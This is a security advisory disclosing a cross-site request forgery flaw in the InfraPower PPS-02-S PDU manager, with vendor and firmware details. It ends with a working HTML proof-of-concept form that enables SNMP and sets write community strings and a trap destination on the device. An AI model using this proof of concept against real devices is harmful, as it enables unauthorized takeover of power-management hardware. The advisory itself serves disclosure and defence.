InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery
Vendor: Austin Hughes Electronics Ltd.
Product web page: http://www.austin-hughes.com
Affected version: Q213V1 (Firmware: V2395S)
Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each
IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs.
Patented IP Dongle provides IP remote access to the PDUs by a true
network IP address chain. Only 1xIP dongle allows access to max. 16
PDUs in daisy chain - which is a highly efficient cient application
for saving not only the IP remote accessories cost, but also the true
IP addresses required on the PDU management.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with admin
privileges if a logged-in user visits a malicious web site.
Tested on: Linux 2.6.28 (armv5tel)
lighttpd/1.4.30-devel-1321
PHP/5.3.9
SQLite/3.7.10
Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5375
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5375.php
27.09.2016
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PoC:
<html>
<body>
<form action="http://192.168.0.17/SNMP.php?Menu=SMP" method="POST">
<input type="hidden" name="SNMPAgent" value="Enable" />
<input type="hidden" name="CommuintyString" value="public" />
<input type="hidden" name="CommuintyWrite" value="private" />
<input type="hidden" name="TrapsVersion" value="v2Trap" />
<input type="hidden" name="IP" value="192.168.0.254" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
